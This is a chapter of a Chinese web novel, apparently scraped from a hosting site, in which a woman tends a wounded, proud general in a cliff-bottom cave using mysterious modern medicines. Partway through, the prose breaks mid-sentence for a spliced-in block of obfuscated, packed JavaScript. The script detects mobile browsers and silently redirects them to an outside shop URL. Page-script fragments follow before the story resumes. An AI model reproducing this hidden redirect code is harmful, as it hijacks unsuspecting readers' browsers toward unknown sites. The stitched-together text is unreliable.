文趣网 > 其他小说 > 带着美强惨将军去探案 > 15. 崖底
    顾桢抱着霍澜星,在泥泞湿滑的崖底又艰难地走了一段。两侧陡峭的崖壁逐渐向后退开,地势变得稍微开阔了些。原本近乎垂直的岩面上,开始出现几道天然的裂缝,以及一些因风化而凸起、形成小小平台的岩层。

    她忽然停住脚步,目光锁定前方。不远处,一块巨大的山岩,从崖壁上突兀地向外延伸出来,形成了一片遮风挡雨的顶棚。岩石下方,山体向内凹进,围出一处足够容纳两三人避身的崖洞。

    踏入洞口的瞬间,潮湿阴冷的寒气骤然被隔绝了大半,空气相对干爽。脚下是常年被山风卷进来的细沙和枯叶。

    她让霍澜星靠着洞壁坐好,又在洞口捡了些干枯的枝叶,堆在他身下,算是临时铺盖。

    看着他腿上依旧在缓慢渗血的伤口,失血、低温、伤口感染……每一样都可能要了他的命,顾桢打算去空间取出一些必须用品。

    “我出去一趟,找点东西,你先忍一下。”她站起来,转身出了洞口。

    霍澜星没说话,也没力气说话,只是半阖着眼,胸口起伏微弱。

    他不知道自己昏迷了多久。也许是半个时辰,也许更久。他醒来的时候,洞外天色已经暗了,风穿过崖底,发出呜呜的声响。山洞里除了他自己粗重压抑的呼吸声,再无别的声响。

    那个女人不见了,这个念头像一盆冰水从头顶浇下来,她把他扔在这里,自己走了。谁会管一个敌人的死活?耳边是自己粗重的呼吸声。他试着动了动,腿上立刻传来钻心的疼,冷汗瞬间浸透后背。

    他咬紧牙关,十指抠进身下的泥土,喉咙里发出一声低哑的、野兽般的嘶吼。不是疼,是恨。

    他恨自己无能,恨她羞辱他,恨她在悬崖边踩着他的胸口逼他说“我错了”,恨她抱着他走过那段泥泞的路——那些画面像刀子一样剜着他的自尊。

    “顾……景关……”他的声音沙哑得厉害,像是破损的风箱在拉扯,又像是从牙缝里、从喉咙深处,一点点挤出来的,带着血腥气,“本王……做鬼……也不会放过你……”

    洞外,只有呜呜的风声,没有任何回应。

    他闭上眼,整个人像被抽空了一样瘫在洞壁上。疼痛似乎已经不重要了,他只知道自己被抛弃了,在这该死的崖底,没有人会来,没有人知道他在哪里。

    他会悄无声息地死在这里。失血而死,伤口溃烂感染而死,或者活活冻死、饿死。这个认知,比腿上那根断枝带来的疼痛,更让他觉得冰冷刺骨。

    他不知道自己又躺了多久,意识在清醒和昏迷之间反复拉扯。就在他以为自己会这样无声无息地死去的时候,洞口传来一阵窸窸窣窣的声音。

    他猛地睁开眼。顾桢蹲在洞口,手里攥着一个透明的东西,薄如蝉翼,里面装着几样他看不清的东西。

    “醒了?”她看了他一眼:“正好,你的伤口要尽快处理一下。”

    霍澜星瞳孔骤缩,死死地盯着那道身影,嘴唇不受控制地微微颤抖,喉咙像是被什么东西死死堵住了,一个字也发不出来。

    她没走。

    她没有扔下他,自己离开。

    “你……”他的声音哑得几乎听不见,“你没走?”

    “走哪儿去?”顾桢蹲下来,把东西放在地上,头都没抬,“把你扔这儿,等你的人来救你?那得等到猴年马月。”

    他的眼眶忽然有些发酸。

    不是感动,他说不清那是什么。像是被人从深水里捞起来,喘上第一口气的感觉。像是濒死的人忽然抓住了一根绳子,不管那根绳子是从哪里来的。

    “发什么愣?”顾桢抬头看了他一眼,“把腿抬一下,我给你换药。”

    霍澜星僵硬地动了动,没抬起来。

    顾桢叹了口气,伸手帮他把腿调整好位置开始拆他腿上那个简易的固定架。霍澜星咬着牙,把脸别过去,不看她。

    顾桢塑料袋里掏出碘伏,拧开盖子。一股陌生的药味弥漫开来,不是草药,不是任何霍澜星闻过的味道。

    “我要先消毒,把断枝拔出来,会非常疼。”她抬眼看他,“忍着。”

    霍澜星还没反应过来,顾桢已经把碘伏倒在伤口周围。黄色的液体触到翻卷的皮肉,刹那间,一股灼烧般的剧痛从大腿内侧猛地炸开,像是有人拿烙铁按在伤口上。

    “啊——!”

    霍澜星整个人像被强弓硬弩射中一般,猛地向上弹起,凄厉到变调的惨叫声冲口而出,在狭小的崖洞里激烈回荡,震得洞壁似乎都在簌簌落灰。他浑身剧烈地颤抖起来,如同风中残烛,冷汗在瞬间浸透了里衣后背,眼前阵阵发黑,几乎又要晕厥过去。

    “叫早了。”顾桢头都没抬,一只手按住他的腰,稳稳把他压回地上,另一只手已经握住那根断枝的末端,“还没拔呢。”

    她手腕一沉,干脆利落地将断枝拔了出来。

    “唔——!”霍澜星这次连惨叫都发不出了,整个人绷成一张弓,嘴巴大张,喉咙里只剩下破碎的气音,眼眶里涌出生理性的泪水,狼狈得不成样子。

    顾桢眼疾手快,掏出一个软乎乎的东西,一把塞进他嘴里。

    “咬住。”

    霍澜星本能地咬住,嘴里顿时被一股甜丝丝的、软绵绵的口感填满。他不知道这是什么,但疼痛已经让他无暇顾及,只能死死咬住那东西,牙齿陷进去,浑身剧烈颤抖,发出含混的、压抑的呜咽。

    顾桢趁他咬住面包的间隙,手上的动作一刻不停。她迅速用干净的纱布擦去伤口周围的血污,将止血药粉均匀地撒在创面上。药粉接触到血肉,迅速被吸收,渗出的血渐渐止住。

    她拿起纱布,一圈一圈地缠绕,力道均匀,松紧适度。从大腿内侧绕过,再从外侧缠回来,每一次缠绕都不可避免地要贴近他腿根最敏感的皮肤。霍澜星浑身僵硬,却连躲的力气都没有,只能任由她的手在他腿间来回穿梭。

    包扎完毕,顾桢剪断纱布,按紧尾端,“好了。”她从他嘴里把那团被咬得变形的面包拿出来,随手放在一边干净的叶片上。

    霍澜星大口大口地喘气,浑身像从水里捞出来一样,眼神涣散地盯着洞顶,脸上分不清是汗水还是泪水。

    一声清晰的笑声,突然在寂静的崖洞里响起,带着毫不掩饰的促狭。

    她看着霍澜星此刻这副模样:脸色惨白,嘴唇被自己咬出血痕,眼眶通红湿润,头发凌乱地贴在汗湿的额角,裤子褪到膝盖以下……浑身无力地瘫着。

    这幅样子,配上他平日里那副嚣张阴狠的做派,反差实在太大,也……实在有点容易让人产生不太健康的联想。

    霍澜星涣散的眼神缓缓转动,无神地看向她,似乎还没从刚才那场酷刑般的处理中完全回过神来,不理解她为什么突然发笑。

    顾桢忙安慰他:“抱歉,你这幅样子,真的,真的很让人误会。”

    霍澜星一开始没有反应过来她指的什么,看她笑的意味深长,这才猛地明白,顿时涨红了脸,急忙用手去遮挡。

    顾桢笑着摆手:“好了不逗你了。”从塑料袋里掏出一瓶矿泉水,拧开盖子,递到他嘴边。“喝水。”

    霍澜星嘴唇在抖,但还是本能地张开嘴。清凉的水流进喉咙,他从未觉得水也能这样好喝。他贪

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579353|204833||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    婪地吞咽,呛了一口,剧烈咳嗽起来。

    “慢点。”顾桢把水瓶拿开,从包里取出一粒白色的药片,塞进他嘴里。“吞下去,别嚼——”

    晚了。

    霍澜星下意识一咬,药片在口中碎裂,极致的苦味瞬间炸开,从舌尖直冲天灵盖。他的脸皱成一团,舌头僵住,整个人像被灌了满口的黄连汁,苦得眼眶发酸,差点呕出来。

    顾桢看着他扭曲的表情,无语地叹了口气:“……说了别嚼。”

    她拿起他刚才咬过的面包:“吃吧,压压苦味。”

    霍澜星顾不上别的,张嘴就是一大口。甜丝丝的软面包裹住舌尖的苦,这才缓过来一些,眉头还是拧着,整张脸写满了“这是什么鬼东西”。

    “好……苦……”他哑着嗓子,艰难地吐出两个字,声音里竟然带上了一丝连自己都未察觉的、委屈的颤音。

    “药当然是苦的。”顾桢又把水瓶递过去,“多喝几口水。”

    霍澜星接过水瓶,连灌了好几口,喉咙里的苦味才渐渐淡去。他靠在洞壁上,闭着眼,胸口起伏,感觉自己这辈子都没吃过这么苦的东西。

    他的目光落在顾桢手边那些奇怪的东西上,透明的袋子、那个装水的透明瓶子、白色的药片,还有刚才嘴里那团甜丝丝的软东西。

    “你……这些东西……”他的声音沙哑,虚弱得几乎听不见,“哪来的?”

    “天上掉下来的。”顾桢随口胡诌了一句,显然不打算认真回答。她开始将洞口附近捡来相对干燥的枯枝拢到一起,摸出打火机。

    霍澜星看见那团小小的火苗凭空冒出来,瞳孔又缩了一下,但这次他没有问。

    火光亮起来,不一会儿,洞里的温度开始缓缓回升。

    湿冷的寒气被一点点逼退,干燥的暖意裹着柴火的气息,在狭小的崖洞里弥漫开来。顾桢往火堆里又添了几根枯枝,火舌舔舐着木头,发出细碎的噼啪声。

    霍澜星侧躺在干草上,火光映在他苍白的脸上,忽明忽暗。他紧闭着眼,眉头微蹙,呼吸还算平稳。

    顾桢伸出手,用手背轻轻碰了碰他的额头,还好,没有发烧的迹象,只是有些失血后的冰凉。

    她想了想,将自己身上那件已经烤得半干的外衣脱了下来,轻轻盖在了他身上。

    那一层突如其来的暖意笼落周身,他长睫轻轻颤了颤,蹙起的眉头悄然舒展。手指攥紧衣角,又松开,反复几次,呼吸渐渐变得均匀,这一次,他是真的睡着了。

    顾桢坐在火堆前,考虑着下一步计划。崔虎应该安全到家了,霍澜星的手下为了救他肯定会全力来追自己,这点顾桢毫不怀疑。

    霍霆昭身体恢复的不错。经过空间里拿出的抗生素和这几天的调养,应该已经度过了最凶险的阶段。后面只要按时服用那些温补的中药,好好休养,恢复只是时间问题。

    至于出路……她刚才在崖底走动时,已经大致观察过。四周的崖壁高耸陡峭,近乎垂直,长满了湿滑的青苔,几乎没有可供攀援的着力点。别说现在带着霍澜星这个重伤员,就算她孤身一人,想徒手爬上去也不太容易。

    而他们坠落下来的后方,早已被那场规模不小的泥石流彻底冲垮,形成了一道难以逾越的障碍,退路已绝。

    眼下唯一的希望,就是沿着这崖底继续往前走,看看这谷地是否有其他出口,或者地势相对和缓、能够攀爬上去的地方。

    顾桢轻轻叹了口气,又往火堆里添了几根柴,走一步,看一步吧,她靠在冰凉的洞壁上闭上眼睛。需要休息,保存体力,以应对接下来可能更艰难的局面。